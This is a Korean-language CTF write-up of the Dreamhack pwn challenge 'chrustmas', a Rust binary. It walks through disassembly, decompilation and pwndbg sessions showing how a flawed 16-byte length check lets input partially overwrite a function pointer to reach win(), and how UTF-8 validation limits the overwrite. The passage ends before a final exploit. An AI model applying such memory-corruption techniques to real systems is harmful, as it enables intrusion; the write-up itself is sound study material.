[Dreamhack] PWN chrustmas

비오비 수료 후에 학교를 다니면서 보안기사를 취득하느라, 오랜만에 풀어보는 워게임이다. v8 익스플로잇도 공부중인데 해당 내용은 기회가 되면 포스팅 할 예정이다. 이번 문제는 크리스마스 ctf에 출제된 chrustmas 라는 문제이다. 시스템 해킹으로 스코어는 3Level을 가지고 있다.

우선 먼저 실행을 해보자. 바이너리를 실행하면 다음과 같은 화면을 보게된다. 문자열을 입력 받으면 페스워드 검증을 한다고 하고 16자리를 입력 받아 참 거짓 유무를 판단한다.

root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# ./prob
Password >> asdf
[97, 115, 100, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Solo can't hack me!
root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# ./prob
Password >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Password maximum size is 16...
root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# 
root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# ./prob
Password >> aaaaaaaaaaaaaaaabbbb
[97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97]
Solo can't hack me!
root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy#

위 내용을 보면 무언가 이상하다. max size는 16이라고 하는데 마지막 실행 구문을 보면 4바이트를 추가로 입력 가능하다. gdb를 통해서 살펴보자.

pwndbg> disass main
Dump of assembler code for function main:
   0x000000000000af70 <+0>:     push   rax
   0x000000000000af71 <+1>:     mov    rdx,rsi
   0x000000000000af74 <+4>:     movsxd rsi,edi
   0x000000000000af77 <+7>:     lea    rdi,[rip+0xfffffffffffffc12]        # 0xab90 <_ZN4prob4main17h5c6c2c95bc71f04bE>
   0x000000000000af7e <+14>:    xor    ecx,ecx
   0x000000000000af80 <+16>:    call   0x93c0 <_ZN3std2rt10lang_start17hf7281ca14fc25c65E>
   0x000000000000af85 <+21>:    pop    rcx
   0x000000000000af86 <+22>:    ret    
End of assembler dump.
pwndbg> disass _ZN4prob4main17h5c6c2c95bc71f04bE
Dump of assembler code for function _ZN4prob4main17h5c6c2c95bc71f04bE:
   0x000000000000ab90 <+0>:     sub    rsp,0x208
   0x000000000000ab97 <+7>:     lea    rsi,[rip+0x54532]        # 0x5f0d0
   0x000000000000ab9e <+14>:    lea    rdi,[rsp+0x98]
   0x000000000000aba6 <+22>:    mov    QWORD PTR [rsp+0x80],rdi
   0x000000000000abae <+30>:    mov    edx,0x1
   0x000000000000abb3 <+35>:    call   0x97d0 <_ZN4core3fmt9Arguments9new_const17h795ce44452297527E>
   0x000000000000abb8 <+40>:    mov    rdi,QWORD PTR [rsp+0x80]
   0x000000000000abc0 <+48>:    lea    rax,[rip+0x1a1b9]        # 0x24d80 <_ZN3std2io5stdio6_print17h63a00216c7cec9b0E>
   0x000000000000abc7 <+55>:    call   rax
   0x000000000000abc9 <+57>:    lea    rdi,[rsp+0xc8]
   0x000000000000abd1 <+65>:    call   0xa150 <_ZN5alloc6string6String3new17h7e53fa0b3a6780a1E>
   0x000000000000abd6 <+70>:    lea    rax,[rip+0x19623]        # 0x24200 <_ZN3std2io5stdio6stdout17h4f8abd8acea54c79E>
   0x000000000000abdd <+77>:    call   rax
   0x000000000000abdf <+79>:    mov    QWORD PTR [rsp+0x88],rax
   0x000000000000abe7 <+87>:    jmp    0xac11 <_ZN4prob4main17h5c6c2c95bc71f04bE+129>
   0x000000000000abe9 <+89>:    lea    rdi,[rsp+0xc8]
   0x000000000000abf1 <+97>:    call   0x9970 <_ZN4core3ptr42drop_in_place$LT$alloc..string..String$GT$17hdb4d12f0836ed276E>
   0x000000000000abf6 <+102>:   jmp    0xaf57 <_ZN4prob4main17h5c6c2c95bc71f04bE+967>
   0x000000000000abfb <+107>:   mov    rcx,rax
   0x000000000000abfe <+110>:   mov    eax,edx
   0x000000000000ac00 <+112>:   mov    QWORD PTR [rsp+0x1e8],rcx
   0x000000000000ac08 <+120>:   mov    DWORD PTR [rsp+0x1f0],eax
   0x000000000000ac0f <+127>:   jmp    0xabe9 <_ZN4prob4main17h5c6c2c95bc71f04bE+89>
   0x000000000000ac11 <+129>:   mov    rax,QWORD PTR [rsp+0x88]
   0x000000000000ac19 <+137>:   mov    QWORD PTR [rsp+0xe8],rax
   0x000000000000ac21 <+145>:   lea    rax,[rip+0x19608]        # 0x24230 <_ZN57_$LT$std..io..stdio..Stdout$u20$as$u20$std..io..Write$GT$5flush17h788b0765478199e0E>
   0x000000000000ac28 <+152>:   lea    rdi,[rsp+0xe8]
   0x000000000000ac30 <+160>:   call   rax
   0x000000000000ac32 <+162>:   mov    QWORD PTR [rsp+0x78],rax
   0x000000000000ac37 <+167>:   jmp    0xac39 <_ZN4prob4main17h5c6c2c95bc71f04bE+169>
   0x000000000000ac39 <+169>:   mov    rdi,QWORD PTR [rsp+0x78]
   0x000000000000ac3e <+174>:   call   0xa5d0 <_ZN79_$LT$core..result..Result$LT$T$C$E$GT$$u20$as$u20$core..ops..try_trait..Try$GT$6branch17hf2b8d074e60fa146E>
   0x000000000000ac43 <+179>:   mov    QWORD PTR [rsp+0x70],rax
   0x000000000000ac48 <+184>:   jmp    0xac4a <_ZN4prob4main17h5c6c2c95bc71f04bE+186>
   0x000000000000ac4a <+186>:   mov    rax,QWORD PTR [rsp+0x70]
   0x000000000000ac4f <+191>:   mov    QWORD PTR [rsp+0xe0],rax
   0x000000000000ac57 <+199>:   mov    rdx,QWORD PTR [rsp+0xe0]
   0x000000000000ac5f <+207>:   mov    eax,0x1
   0x000000000000ac64 <+212>:   xor    ecx,ecx
   0x000000000000ac66 <+214>:   cmp    rdx,0x0
   0x000000000000ac6a <+218>:   cmove  rax,rcx
   0x000000000000ac6e <+222>:   cmp    rax,0x0
   0x000000000000ac72 <+226>:   jne    0xac84 <_ZN4prob4main17h5c6c2c95bc71f04bE+244>
   0x000000000000ac74 <+228>:   lea    rax,[rip+0x19385]        # 0x24000 <_ZN3std2io5stdio5stdin17h586bfeb28b16622bE>
   0x000000000000ac7b <+235>:   call   rax
   0x000000000000ac7d <+237>:   mov    QWORD PTR [rsp+0x68],rax
   0x000000000000ac82 <+242>:   jmp    0xaca2 <_ZN4prob4main17h5c6c2c95bc71f04bE+274>
   0x000000000000ac84 <+244>:   mov    rdi,QWORD PTR [rsp+0xe0]
   0x000000000000ac8c <+252>:   lea    rsi,[rip+0x544a5]        # 0x5f138
   0x000000000000ac93 <+259>:   call   0x8e80 <_ZN153_$LT$core..result..Result$LT$T$C$F$GT$$u20$as$u20$core..ops..try_trait..FromResidual$LT$core..result..Result$LT$core..convert..Infallible$C$E$GT$$GT$$GT$13from_residual17hd4c9315abd7ba83dE>
   0x000000000000ac98 <+264>:   mov    QWORD PTR [rsp+0x60],rax
   0x000000000000ac9d <+269>:   jmp    0xaf3d <_ZN4prob4main17h5c6c2c95bc71f04bE+941>
   0x000000000000aca2 <+274>:   mov    rax,QWORD PTR [rsp+0x68]
   0x000000000000aca7 <+279>:   mov    QWORD PTR [rsp+0x110],rax
   0x000000000000acaf <+287>:   lea    rax,[rip+0x1937a]        # 0x24030 <_ZN3std2io5stdio5Stdin9read_line17hba9f1b4004981d34E>
   0x000000000000acb6 <+294>:   lea    rdi,[rsp+0x100]
   0x000000000000acbe <+302>:   lea    rsi,[rsp+0x110]
   0x000000000000acc6 <+310>:   lea    rdx,[rsp+0xc8]
   0x000000000000acce <+318>:   call   rax
   0x000000000000acd0 <+320>:   jmp    0xacd2 <_ZN4prob4main17h5c6c2c95bc71f04bE+322>
   0x000000000000acd2 <+322>:   lea    rdi,[rsp+0xf0]
   0x000000000000acda <+330>:   lea    rsi,[rsp+0x100]
   0x000000000000ace2 <+338>:   call   0xa4e0 <_ZN79_$LT$core..result..Result$LT$T$C$E$GT$$u20$as$u20$core..ops..try_trait..Try$GT$6branch17ha604e71f9b0fb167E>
   0x000000000000ace7 <+343>:   jmp    0xace9 <_ZN4prob4main17h5c6c2c95bc71f04bE+345>
   0x000000000000ace9 <+345>:   cmp    QWORD PTR [rsp+0xf0],0x0
   0x000000000000acf2 <+354>:   jne    0xad0d <_ZN4prob4main17h5c6c2c95bc71f04bE+381>
   0x000000000000acf4 <+356>:   lea    rdi,[rsp+0xc8]
   0x000000000000acfc <+364>:   call   0xa2e0 <_ZN65_$LT$alloc..string..String$u20$as$u20$core..ops..deref..Deref$GT$5deref17h2a8d3d76c5823b24E>
   0x000000000000ad01 <+369>:   mov    QWORD PTR [rsp+0x50],rdx
   0x000000000000ad06 <+374>:   mov    QWORD PTR [rsp+0x58],rax
   0x000000000000ad0b <+379>:   jmp    0xad2b <_ZN4prob4main17h5c6c2c95bc71f04bE+411>
   0x000000000000ad0d <+381>:   mov    rdi,QWORD PTR [rsp+0xf8]
   0x000000000000ad15 <+389>:   lea    rsi,[rip+0x54404]        # 0x5f120
   0x000000000000ad1c <+396>:   call   0x8e80 <_ZN153_$LT$core..result..Result$LT$T$C$F$GT$$u20$as$u20$core..ops..try_trait..FromResidual$LT$core..result..Result$LT$core..convert..Infallible$C$E$GT$$GT$$GT$13from_residual17hd4c9315abd7ba83dE>
   0x000000000000ad21 <+401>:   mov    QWORD PTR [rsp+0x48],rax
   0x000000000000ad26 <+406>:   jmp    0xaf2e <_ZN4prob4main17h5c6c2c95bc71f04bE+926>
   0x000000000000ad2b <+411>:   mov    rsi,QWORD PTR [rsp+0x50]
   0x000000000000ad30 <+416>:   mov    rdi,QWORD PTR [rsp+0x58]
   0x000000000000ad35 <+421>:   call   0x9f30 <_ZN4core3str21_$LT$impl$u20$str$GT$4trim17h93c161271e464c8bE>
   0x000000000000ad3a <+426>:   mov    QWORD PTR [rsp+0x38],rdx
   0x000000000000ad3f <+431>:   mov    QWORD PTR [rsp+0x40],rax
   0x000000000000ad44 <+436>:   jmp    0xad46 <_ZN4prob4main17h5c6c2c95bc71f04bE+438>
   0x000000000000ad46 <+438>:   mov    rsi,QWORD PTR [rsp+0x38]
   0x000000000000ad4b <+443>:   mov    rdi,QWORD PTR [rsp+0x40]
   0x000000000000ad50 <+448>:   mov    rax,rdi
   0x000000000000ad53 <+451>:   mov    QWORD PTR [rsp+0x20],rax
   0x000000000000ad58 <+456>:   mov    rax,rsi
   0x000000000000ad5b <+459>:   mov    QWORD PTR [rsp+0x28],rax
   0x000000000000ad60 <+464>:   xorps  xmm0,xmm0
   0x000000000000ad63 <+467>:   movaps XMMWORD PTR [rsp+0x130],xmm0
   0x000000000000ad6b <+475>:   movups xmm0,XMMWORD PTR [rsp+0x130]
   0x000000000000ad73 <+483>:   movups XMMWORD PTR [rsp+0x118],xmm0
   0x000000000000ad7b <+491>:   lea    rax,[rip+0xfffffffffffffc7e]        # 0xaa00 <_ZN4prob4rust17hdda0a7f774721c38E>
   0x000000000000ad82 <+498>:   mov    QWORD PTR [rsp+0x128],rax
   0x000000000000ad8a <+506>:   call   0x9f20 <_ZN4core3str21_$LT$impl$u20$str$GT$3len17h9e7fb9204b425ad0E>
   0x000000000000ad8f <+511>:   mov    QWORD PTR [rsp+0x30],rax
   0x000000000000ad94 <+516>:   jmp    0xad96 <_ZN4prob4main17h5c6c2c95bc71f04bE+518>
   0x000000000000ad96 <+518>:   mov    rax,QWORD PTR [rsp+0x30]
   0x000000000000ad9b <+523>:   cmp    rax,0x16
   0x000000000000ad9f <+527>:   ja     0xada3 <_ZN4prob4main17h5c6c2c95bc71f04bE+531>
   0x000000000000ada1 <+529>:   jmp    0xadc1 <_ZN4prob4main17h5c6c2c95bc71f04bE+561>
   0x000000000000ada3 <+531>:   lea    rsi,[rip+0x54366]        # 0x5f110
   0x000000000000adaa <+538>:   lea    rdi,[rsp+0x148]
   0x000000000000adb2 <+546>:   mov    edx,0x1
   0x000000000000adb7 <+551>:   call   0x97d0 <_ZN4core3fmt9Arguments9new_const17h795ce44452297527E>
   0x000000000000adbc <+556>:   jmp    0xaf00 <_ZN4prob4main17h5c6c2c95bc71f04bE+880>
   0x000000000000adc1 <+561>:   jmp    0xadc3 <_ZN4prob4main17h5c6c2c95bc71f04bE+563>
   0x000000000000adc3 <+563>:   mov    rsi,QWORD PTR [rsp+0x28]
   0x000000000000adc8 <+568>:   mov    rdi,QWORD PTR [rsp+0x20]
   0x000000000000adcd <+573>:   call   0x9f20 <_ZN4core3str21_$LT$impl$u20$str$GT$3len17h9e7fb9204b425ad0E>
   0x000000000000add2 <+578>:   mov    QWORD PTR [rsp+0x18],rax
   0x000000000000add7 <+583>:   jmp    0xadd9 <_ZN4prob4main17h5c6c2c95bc71f04bE+585>
   0x000000000000add9 <+585>:   mov    rdx,QWORD PTR [rsp+0x18]
   0x000000000000adde <+590>:   mov    rsi,QWORD PTR [rsp+0x20]
   0x000000000000ade3 <+595>:   lea    rdi,[rsp+0x118]
   0x000000000000adeb <+603>:   mov    rax,QWORD PTR [rip+0x5702e]        # 0x61e20
   0x000000000000adf2 <+610>:   call   rax
   0x000000000000adf4 <+612>:   lea    rax,[rsp+0x118]
   0x000000000000adfc <+620>:   mov    QWORD PTR [rsp+0x1f8],rax
   0x000000000000ae04 <+628>:   lea    rax,[rip+0xfffffffffffff195]        # 0x9fa0 <_ZN4core5array69_$LT$impl$u20$core..fmt..Debug$u20$for$u20$$u5b$T$u3b$$u20$N$u5d$$GT$3fmt17h991f9fda7cad7759E>
   0x000000000000ae0b <+635>:   mov    QWORD PTR [rsp+0x200],rax
   0x000000000000ae13 <+643>:   mov    rax,QWORD PTR [rsp+0x1f8]
   0x000000000000ae1b <+651>:   mov    QWORD PTR [rsp+0x8],rax
   0x000000000000ae20 <+656>:   mov    rax,QWORD PTR [rsp+0x200]
   0x000000000000ae28 <+664>:   mov    QWORD PTR [rsp+0x10],rax
   0x000000000000ae2d <+669>:   mov    rax,QWORD PTR [rsp+0x10]
   0x000000000000ae32 <+674>:   mov    rcx,QWORD PTR [rsp+0x8]
   0x000000000000ae37 <+679>:   mov    QWORD PTR [rsp+0x1a8],rcx
   0x000000000000ae3f <+687>:   mov    QWORD PTR [rsp+0x1b0],rax
   0x000000000000ae47 <+695>:   lea    rsi,[rip+0x54292]        # 0x5f0e0
   0x000000000000ae4e <+702>:   lea    rdi,[rsp+0x178]
   0x000000000000ae56 <+710>:   mov    edx,0x2
   0x000000000000ae5b <+715>:   lea    rcx,[rsp+0x1a8]
   0x000000000000ae63 <+723>:   mov    r8d,0x1
   0x000000000000ae69 <+729>:   call   0x96d0 <_ZN4core3fmt9Arguments6new_v117h9deafe6774c9e956E>
   0x000000000000ae6e <+734>:   jmp    0xae70 <_ZN4prob4main17h5c6c2c95bc71f04bE+736>
   0x000000000000ae70 <+736>:   lea    rax,[rip+0x19f09]        # 0x24d80 <_ZN3std2io5stdio6_print17h63a00216c7cec9b0E>
   0x000000000000ae77 <+743>:   lea    rdi,[rsp+0x178]
   0x000000000000ae7f <+751>:   call   rax
   0x000000000000ae81 <+753>:   jmp    0xae83 <_ZN4prob4main17h5c6c2c95bc71f04bE+755>
   0x000000000000ae83 <+755>:   mov    rax,QWORD PTR [rsp+0x128]
   0x000000000000ae8b <+763>:   lea    rcx,[rip+0xfffffffffffffb7e]        # 0xaa10 <_ZN4prob3win17h2a8d1a9bcf67a7d9E>
   0x000000000000ae92 <+770>:   cmp    rax,rcx
   0x000000000000ae95 <+773>:   jne    0xaea3 <_ZN4prob4main17h5c6c2c95bc71f04bE+787>
   0x000000000000ae97 <+775>:   mov    rax,QWORD PTR [rsp+0x128]
   0x000000000000ae9f <+783>:   call   rax
   0x000000000000aea1 <+785>:   jmp    0xaebe <_ZN4prob4main17h5c6c2c95bc71f04bE+814>
   0x000000000000aea3 <+787>:   lea    rsi,[rip+0x54256]        # 0x5f100
   0x000000000000aeaa <+794>:   lea    rdi,[rsp+0x1b8]
   0x000000000000aeb2 <+802>:   mov    edx,0x1
   0x000000000000aeb7 <+807>:   call   0x97d0 <_ZN4core3fmt9Arguments9new_const17h795ce44452297527E>
   0x000000000000aebc <+812>:   jmp    0xaedb <_ZN4prob4main17h5c6c2c95bc71f04bE+843>
   0x000000000000aebe <+814>:   jmp    0xaec0 <_ZN4prob4main17h5c6c2c95bc71f04bE+816>
   0x000000000000aec0 <+816>:   mov    QWORD PTR [rsp+0x90],0x0
   0x000000000000aecc <+828>:   lea    rdi,[rsp+0xc8]
   0x000000000000aed4 <+836>:   call   0x9970 <_ZN4core3ptr42drop_in_place$LT$alloc..string..String$GT$17hdb4d12f0836ed276E>
   0x000000000000aed9 <+841>:   jmp    0xaef0 <_ZN4prob4main17h5c6c2c95bc71f04bE+864>
   0x000000000000aedb <+843>:   lea    rax,[rip+0x19e9e]        # 0x24d80 <_ZN3std2io5stdio6_print17h63a00216c7cec9b0E>
   0x000000000000aee2 <+850>:   lea    rdi,[rsp+0x1b8]
   0x000000000000aeea <+858>:   call   rax
   0x000000000000aeec <+860>:   jmp    0xaeee <_ZN4prob4main17h5c6c2c95bc71f04bE+862>
   0x000000000000aeee <+862>:   jmp    0xaec0 <_ZN4prob4main17h5c6c2c95bc71f04bE+816>
   0x000000000000aef0 <+864>:   mov    rax,QWORD PTR [rsp+0x90]
   0x000000000000aef8 <+872>:   add    rsp,0x208
   0x000000000000aeff <+879>:   ret    
   0x000000000000af00 <+880>:   lea    rax,[rip+0x19e79]        # 0x24d80 <_ZN3std2io5stdio6_print17h63a00216c7cec9b0E>
   0x000000000000af07 <+887>:   lea    rdi,[rsp+0x148]
   0x000000000000af0f <+895>:   call   rax
   0x000000000000af11 <+897>:   jmp    0xaf13 <_ZN4prob4main17h5c6c2c95bc71f04bE+899>
   0x000000000000af13 <+899>:   mov    QWORD PTR [rsp+0x90],0x0
   0x000000000000af1f <+911>:   lea    rdi,[rsp+0xc8]
   0x000000000000af27 <+919>:   call   0x9970 <_ZN4core3ptr42drop_in_place$LT$alloc..string..String$GT$17hdb4d12f0836ed276E>
   0x000000000000af2c <+924>:   jmp    0xaef0 <_ZN4prob4main17h5c6c2c95bc71f04bE+864>
   0x000000000000af2e <+926>:   mov    rax,QWORD PTR [rsp+0x48]
   0x000000000000af33 <+931>:   mov    QWORD PTR [rsp+0x90],rax
   0x000000000000af3b <+939>:   jmp    0xaf1f <_ZN4prob4main17h5c6c2c95bc71f04bE+911>
   0x000000000000af3d <+941>:   mov    rax,QWORD PTR [rsp+0x60]
   0x000000000000af42 <+946>:   mov    QWORD PTR [rsp+0x90],rax
   0x000000000000af4a <+954>:   jmp    0xaf1f <_ZN4prob4main17h5c6c2c95bc71f04bE+911>
   0x000000000000af4c <+956>:   lea    rax,[rip+0xffffffffffffd65d]        # 0x85b0 <_ZN4core9panicking16panic_in_cleanup17hceade526831b1e89E>
   0x000000000000af53 <+963>:   call   rax
   0x000000000000af55 <+965>:   ud2    
   0x000000000000af57 <+967>:   mov    rdi,QWORD PTR [rsp+0x1e8]
   0x000000000000af5f <+975>:   call   0x6040 <_Unwind_Resume@plt>
   0x000000000000af64 <+980>:   ud2    

보면 좀 난해하다. 처음에는 C++인줄 알았는데 러스트 기반 바이너리다. 위 부분을 ghidra 디컴파일을 통해 살펴보면 다음과 같다.

/* prob::main */

undefined8 prob::main(void)

{
  long lVar1;
  void *__src;
  ulong uVar2;
  size_t __n;
  undefined auVar3 [16];
  undefined8 local_178;
  undefined8 local_170 [6];
  void *local_140 [3];
  long local_128;
  undefined8 *local_120;
  long local_118;
  undefined8 local_110;
  long local_108 [2];
  int *local_f8;
  undefined4 local_f0;
  undefined4 uStack_ec;
  undefined4 uStack_e8;
  undefined4 uStack_e4;
  code *local_e0;
  undefined local_d8 [16];
  undefined8 local_c0 [6];
  undefined8 local_90 [6];
  undefined4 *local_60;
  code *local_58;
  undefined8 local_50 [8];
  undefined4 *local_10;
  code *local_8;
  
  core::fmt::Arguments::new_const(local_170,&DAT_0015f0d0,1);
  std::io::stdio::_print((size_t)local_170);
  alloc::string::String::new(local_140);
                    /* try { // try from 0010abd6 to 0010abde has its CatchHandler @ 0010abfb */
  local_120 = std::io::stdio::stdout();
                    /* try { // try from 0010ac21 to 0010add1 has its CatchHandler @ 0010abfb */
  lVar1 = <>::flush(&local_120);
  local_128 = <>::branch(lVar1);
  if (local_128 == 0) {
    local_f8 = (int *)std::io::stdio::stdin();
    std::io::stdio::Stdin::read_line(local_108,&local_f8,local_140);
    <>::branch(&local_118,local_108);
    if (local_118 == 0) {
      auVar3 = <>::deref(local_140);
      auVar3 = core::str::<impl_str>::trim(auVar3._0_8_,auVar3._8_8_);
      __src = auVar3._0_8_;
      local_d8 = ZEXT816(0);
      local_f0 = 0;
      uStack_ec = 0;
      uStack_e8 = 0;
      uStack_e4 = 0;
      local_e0 = rust;
      uVar2 = core::str::<impl_str>::len(__src,auVar3._8_8_);
      if (uVar2 < 0x17) {
        __n = core::str::<impl_str>::len(__src,auVar3._8_8_);
        memmove(&local_f0,__src,__n);
        local_60 = &local_f0;
        local_8 = [T;_N]>::fmt;
        local_58 = [T;_N]>::fmt;
                    /* try { // try from 0010ae47 to 0010aebb has its CatchHandler @ 0010abfb */
        local_10 = local_60;
        core::fmt::Arguments::new_v1
                  (local_90,&PTR_s_/rustc/a28077b28a02b92985b3a3fae_0015f0e0,2,&local_60,1);
        std::io::stdio::_print((size_t)local_90);
        if (local_e0 == win) {
          win();
        }
        else {
          core::fmt::Arguments::new_const(local_50,&DAT_0015f100,1);
                    /* try { // try from 0010aedb to 0010af10 has its CatchHandler @ 0010abfb */
          std::io::stdio::_print((size_t)local_50);
        }
        core::ptr::drop_in_place<>(local_140);
        return 0;
      }
      core::fmt::Arguments::new_const(local_c0,&DAT_0015f110,1);
      std::io::stdio::_print((size_t)local_c0);
      local_178 = 0;
    }
    else {
      local_178 = <>::from_residual(local_110);
    }
  }
  else {
    local_178 = <>::from_residual(local_128);
  }
  core::ptr::drop_in_place<>(local_140);
  return local_178;
}
 if (local_e0 == win) {
          win();
  }

위 부분에서 win()함수를 실행하면 될것 같다. 러스트 디버깅이나 동작 방식이 처음 접하는 내용이라 동적 정적 분석을 수시로 왔다갔다 하면서 진행했다. 동적 분석에서 bp를 걸고 확인해보면 win()함수가 동작하지 않았다. 따라서 4바이트 오버플로우가 가능한 부분에 더비 값을 채우고 레지스터를 확인해보자.

   0x000000000000ae83 <+755>:   mov    rax,QWORD PTR [rsp+0x128]
   0x000000000000ae8b <+763>:   lea    rcx,[rip+0xfffffffffffffb7e]        # 0xaa10 <_ZN4prob3win17h2a8d1a9bcf67a7d9E>
   0x000000000000ae92 <+770>:   cmp    rax,rcx
   0x000000000000ae95 <+773>:   jne    0xaea3 <_ZN4prob4main17h5c6c2c95bc71f04bE+787>
   0x000000000000ae97 <+775>:   mov    rax,QWORD PTR [rsp+0x128]
   0x000000000000ae9f <+783>:   call   rax

위 부분에 bp를 걸고 보면 알 수 있다. 다음 사진은 16크기의 a와 b 4개를 붙여 동적 디버깅 해보았다.

0x000055555555ee92 in prob::main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
 RAX  0x555562626262
 RBX  0x1
*RCX  0x55555555ea10 (prob::win) ◂— sub rsp, 0xe8
 RDX  0xfffffffffffffffc
 RDI  0x5555555b7500 ◂— 0x2c3739202c37395b ('[97, 97,')
 RSI  0x5555555b6078 (std::io::stdio::STDOUT) ◂— 0x0
 R8   0xa
 R9   0x2
 R10  0x5555555a6364 ◂— 0x101010101010101
 R11  0x246
 R12  0x7fffff7ff000 ◂— 0x0
 R13  0x0
 R14  0x7fffffffe4f0 —▸ 0x55555555eb90 (prob::main) ◂— sub rsp, 0x208
 R15  0x7fffffffe470 ◂— 0x0
 RBP  0x7fffff7fe000
 RSP  0x7fffffffe170 ◂— 0x0
*RIP  0x55555555ee92 (prob::main+770) ◂— cmp rax, rcx
───────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────
   0x55555555ee83 <prob::main+755>    mov    rax, qword ptr [rsp + 0x128]
   0x55555555ee8b <prob::main+763>    lea    rcx, [rip - 0x482]            <prob::win>
  0x55555555ee92 <prob::main+770>    cmp    rax, rcx                      <prob::win>
   0x55555555ee95 <prob::main+773>    jne    prob::main+787                <prob::main+787>
    
   0x55555555eea3 <prob::main+787>    lea    rsi, [rip + 0x54256]
   0x55555555eeaa <prob::main+794>    lea    rdi, [rsp + 0x1b8]
   0x55555555eeb2 <prob::main+802>    mov    edx, 1
   0x55555555eeb7 <prob::main+807>    call   core::fmt::Arguments::new_const                <core::fmt::Arguments::new_const>
 
   0x55555555eebc <prob::main+812>    jmp    prob::main+843                <prob::main+843>
 
   0x55555555eebe <prob::main+814>    jmp    prob::main+816                <0x55555555eec0>
 
   0x55555555eec0 <prob::main+816>    mov    qword ptr [rsp + 0x90], 0
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000 rsp 0x7fffffffe170 ◂— 0x0
01:0008     0x7fffffffe178 —▸ 0x7fffffffe288 ◂— 'aaaaaaaaaaaaaaaabbbbUU'
02:0010     0x7fffffffe180 —▸ 0x55555555dfa0 (core::array::<impl core::fmt::Debug for [T; N]>::fmt) ◂— sub rsp, 0x18
03:0018     0x7fffffffe188 ◂— 0x14
04:0020     0x7fffffffe190 —▸ 0x5555555b9bb0 ◂— 'aaaaaaaaaaaaaaaabbbb\n'
05:0028     0x7fffffffe198 ◂— 0x14
...         2 skipped
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
  0   0x55555555ee92 prob::main+770
   1   0x55555555d883 core::ops::function::FnOnce::call_once+3
   2   0x55555555cea6 std::sys_common::backtrace::__rust_begin_short_backtrace+6
   3   0x55555555d409 std::rt::lang_start::+9
   4   0x5555555763ab std::rt::lang_start_internal+1051
   5   0x5555555763ab std::rt::lang_start_internal+1051
   6   0x5555555763ab std::rt::lang_start_internal+1051
   7   0x5555555763ab std::rt::lang_start_internal+1051
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c

cmp 부분을 보면 rcx와 rax를 비교하는데 rax 부분이 b의 아스키 코드인 62로 일부 덮어쓰여져 있다. rcx는 0x55555555ea10 값을 가지고 있으며 win()함수의 주소를 가지고 있다. 이 값이 rax에 동일하게 있으면 wi()함수를 실행하게 될 것이다.

그럼 공격 방법을 찾아보자

4바이트 오버라이트가 가능하니 상식적으로 생각해보면 16개의 a 뒤에 0x5555ea10 값을 넣어 전송하면 문제가 풀릴 것이다.

이떄 예상하지 못한 에러로그를 보았다. Error: Error { kind: InvalidData, message: “stream did not contain valid UTF-8” } 라는 문구가 출력 되었다. 찾아보니 stdin을 통해 입력 받는 값 중 UTF-8인코딩이 불가능한 값이 있는 것 같은 느낌이 들었다.

0x5555ea10중 해당 에러를 띄워주는 부분을 0xea 부분으로 추측했다. 아스키코드에는 없는 값이고 해당 값을 파이썬으로 utf-8인코딩을 걸었을 때 에러가 발생하였다. 그러면 0x5555ea까지는 사용할 수 없다는 것을 의미한다. 즉, 1바이트로 주소값을 조작해야 하는데 가능한지 살펴보자.


0x000055555555ee92 in prob::main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
 RAX  0x55555555ea62 (prob::win+82) ◂— add byte ptr [rdi], cl
 RBX  0x1
*RCX  0x55555555ea10 (prob::win) ◂— sub rsp, 0xe8
 RDX  0xfffffffffffffffc
 RDI  0x5555555b7500 ◂— 0x2c3739202c37395b ('[97, 97,')
 RSI  0x5555555b6078 (std::io::stdio::STDOUT) ◂— 0x0
 R8   0xa
 R9   0x2
 R10  0x5555555a6364 ◂— 0x101010101010101
 R11  0x246
 R12  0x7fffff7ff000 ◂— 0x0
 R13  0x0
 R14  0x7fffffffe4f0 —▸ 0x55555555eb90 (prob::main) ◂— sub rsp, 0x208
 R15  0x7fffffffe470 ◂— 0x0
 RBP  0x7fffff7fe000
 RSP  0x7fffffffe170 ◂— 0x0
*RIP  0x55555555ee92 (prob::main+770) ◂— cmp rax, rcx
───────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────
   0x55555555ee83 <prob::main+755>    mov    rax, qword ptr [rsp + 0x128]
   0x55555555ee8b <prob::main+763>    lea    rcx, [rip - 0x482]            <prob::win>
  0x55555555ee92 <prob::main+770>    cmp    rax, rcx
   0x55555555ee95 <prob::main+773>    jne    prob::main+787                <prob::main+787>
    
   0x55555555eea3 <prob::main+787>    lea    rsi, [rip + 0x54256]
   0x55555555eeaa <prob::main+794>    lea    rdi, [rsp + 0x1b8]
   0x55555555eeb2 <prob::main+802>    mov    edx, 1
   0x55555555eeb7 <prob::main+807>    call   core::fmt::Arguments::new_const                <core::fmt::Arguments::new_const>
 
   0x55555555eebc <prob::main+812>    jmp    prob::main+843                <prob::main+843>
 
   0x55555555eebe <prob::main+814>    jmp    prob::main+816                <0x55555555eec0>
 
   0x55555555eec0 <prob::main+816>    mov    qword ptr [rsp + 0x90], 0
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000 rsp 0x7fffffffe170 ◂— 0x0
01:0008     0x7fffffffe178 —▸ 0x7fffffffe288 ◂— 0x6161616161616161 ('aaaaaaaa')
02:0010     0x7fffffffe180 —▸ 0x55555555dfa0 (core::array::<impl core::fmt::Debug for [T; N]>::fmt) ◂— sub rsp, 0x18
03:0018     0x7fffffffe188 ◂— 0x11
04:0020     0x7fffffffe190 —▸ 0x5555555b9bb0 ◂— 'aaaaaaaaaaaaaaaab\n'
05:0028     0x7fffffffe198 ◂— 0x11
...         2 skipped
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
